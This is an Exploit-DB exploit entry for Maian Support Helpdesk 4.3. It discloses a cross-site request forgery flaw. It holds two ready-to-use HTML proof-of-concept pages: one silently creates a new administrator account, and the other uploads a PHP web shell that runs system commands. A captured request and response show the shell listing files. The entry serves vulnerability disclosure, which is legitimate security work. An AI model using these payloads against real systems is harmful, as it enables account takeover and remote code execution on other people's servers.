Maian Support Helpdesk 4.3 - Cross-Site Request Forgery (Add Admin)

EDB-ID:

48386

CVE:

N/A


Author:

Besim

Type:

webapps


Platform:

PHP

Date:

2020-04-27


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# Exploit Title: Maian Support Helpdesk 4.3 - Cross-Site Request Forgery (Add Admin)
# Date: 2020-04-26
# Author: Besim ALTINOK
# Vendor Homepage: https://www.maiansupport.com
# Software Link: https://www.maiansupport.com/zip.html
# Version: v4.3
# Tested on: Xampp
# Credit: İsmail BOZKURT
----------------------------------------------

Here is the Detail:
--------------------------------------------------
This product is unprotected against CSRF vulnerabilities. With this attack,
you can add an admin account to the system. In addition, you can add files
from the F.A.Q field as admin.There are no file restrictions here.
Therefore, you can upload a PHP file here with CSRF.

If you want, you can add an admin account first and then access the system
and upload files.
Or you can upload files with direct admin rights.

---------------------------------------------------
CSRF PoC - 1 (Add Administrator user)
-------------------------------------

<html>
  <body>
  <script>history.pushState('', '', '/')</script>
    <form action="http://localhost/helpdesk/admin/index.php?ajax=team"
method="POST">
      <input type="hidden" name="enabled" value="yes" />
      <input type="hidden" name="admin" value="yes" />
      <input type="hidden" name="welcome" value="yes" />
      <input type="hidden" name="name" value="Besim&#32;ALTINOK" />
      <input type="hidden" name="email" value="test2&#64;gmail&#46;com" />
      <input type="hidden" name="accpass" value="111111" />
      <input type="hidden" name="timezone" value="0" />
      <input type="hidden" name="language" value="" />
      <input type="hidden" name="addpages" value="" />
      <input type="hidden" name="notePadEnable" value="yes" />
      <input type="hidden" name="enableLog" value="yes" />
      <input type="hidden" name="mergeperms" value="yes" />
      <input type="hidden" name="profile" value="yes" />
      <input type="hidden" name="ticketHistory" value="yes" />
      <input type="hidden" name="close" value="yes" />
      <input type="hidden" name="lock" value="yes" />
      <input type="hidden" name="editperms&#91;&#93;" value="ticket" />
      <input type="hidden" name="editperms&#91;&#93;" value="reply" />
      <input type="hidden" name="timer" value="yes" />
      <input type="hidden" name="startwork" value="yes" />
      <input type="hidden" name="workedit" value="yes" />
      <input type="hidden" name="notify" value="yes" />
      <input type="hidden" name="spamnotify" value="yes" />
      <input type="hidden" name="signature" value="" />
      <input type="hidden" name="nameFrom" value="" />
      <input type="hidden" name="emailFrom" value="" />
      <input type="hidden" name="email2" value="" />
      <input type="hidden" name="notes" value="" />
      <input type="hidden" name="mailbox" value="yes" />
      <input type="hidden" name="mailDeletion" value="yes" />
      <input type="hidden" name="mailScreen" value="yes" />
      <input type="hidden" name="mailCopy" value="yes" />
      <input type="hidden" name="mailFolders" value="5" />
      <input type="hidden" name="mailPurge" value="0" />
      <input type="hidden" name="digest" value="yes" />
      <input type="hidden" name="process" value="1" />
      <input type="submit" value="Submit request" />
    </form>
  </body>
</html>

- After the Add admin account, you can upload the PHP file.

CSRF PoC 2 - ( Directly, File Upload)
----------------------------------------------------

<html>
  <body>
  <script>history.pushState('', '', '/')</script>
    <script>
      function submitRequest()
      {
        var xhr = new XMLHttpRequest();
        xhr.open("POST",
"http:\/\/localhost\/helpdesk\/admin\/index.php?ajax=faqattach", true);
        xhr.setRequestHeader("Accept", "application\/json,
text\/javascript, *\/*; q=0.01");
        xhr.setRequestHeader("Accept-Language", "en-GB,en;q=0.5");
        xhr.setRequestHeader("Content-Type", "multipart\/form-data;
boundary=---------------------------1851832753272583700731626849");
        xhr.withCredentials = true;
        var body =
"-----------------------------1851832753272583700731626849\r\n" +
          "Content-Disposition: form-data; name=\"file[]\";
filename=\"shell.php\"\r\n" +
          "Content-Type: text/php\r\n" +
          "\r\n" +
          "\x3c?php echo system($_GET[\'cmd\']); ?\x3e\n" +
          "\r\n" +
          "-----------------------------1851832753272583700731626849\r\n" +
          "Content-Disposition: form-data; name=\"file[]\"\r\n" +
          "\r\n" +
          "\r\n" +
          "-----------------------------1851832753272583700731626849\r\n" +
          "Content-Disposition: form-data; name=\"remote[]\"\r\n" +
          "\r\n" +
          "\r\n" +
          "-----------------------------1851832753272583700731626849\r\n" +
          "Content-Disposition: form-data; name=\"remote[]\"\r\n" +
          "\r\n" +
          "\r\n" +
          "-----------------------------1851832753272583700731626849\r\n" +
          "Content-Disposition: form-data; name=\"remote[]\"\r\n" +
          "\r\n" +
          "\r\n" +
          "-----------------------------1851832753272583700731626849\r\n" +
          "Content-Disposition: form-data; name=\"process\"\r\n" +
          "\r\n" +
          "1\r\n" +
          "-----------------------------1851832753272583700731626849\r\n" +
          "Content-Disposition: form-data; name=\"opath\"\r\n" +
          "\r\n" +
          "\r\n" +
          "-----------------------------1851832753272583700731626849--\r\n";
        var aBody = new Uint8Array(body.length);
        for (var i = 0; i < aBody.length; i++)
          aBody[i] = body.charCodeAt(i);
        xhr.send(new Blob([aBody]));
      }
    </script>
    <form action="#">
      <input type="button" value="Submit request"
onclick="submitRequest();" />
    </form>
  </body>
</html>

HTTP Request:
-----------------------------------------------------------------------------------------
GET /helpdesk/content/attachments-faq/shell.php?cmd=ls HTTP/1.1
Host: localhost
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:68.0)
Gecko/20100101 Firefox/68.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-GB,en;q=0.5
Accept-Encoding: gzip, deflate
DNT: 1
Connection: close
Cookie: PHPSESSID=4574c8e8190d39edd9d13a0fd9a502ec;
bp_ut_session={"pageviews":1,"referrer":"
http://localhost/olms/library/assets/js/images/","landingPage":"
http://localhost/olms/library/assets/js/images/sort_asc.html
","started":1587817504988};
HESKb910af33bb5d80030b1f4b6f8666b57fac433d4d=71c43ff24f63f83f5a34d28997251db6
Upgrade-Insecure-Requests: 1

HTTP Response:
-------------------------------------------------------------------------------------------------
HTTP/1.1 200 OK
Date: Sun, 26 Apr 2020 12:15:31 GMT
Server: Apache/2.4.43 (Unix) OpenSSL/1.1.1f PHP/7.2.29 mod_perl/2.0.8-dev
Perl/v5.16.3
X-Powered-By: PHP/7.2.29
Content-Length: 39
Connection: close
Content-Type: text/html; charset=UTF-8

shell.php
shell_test.php
shell_test.php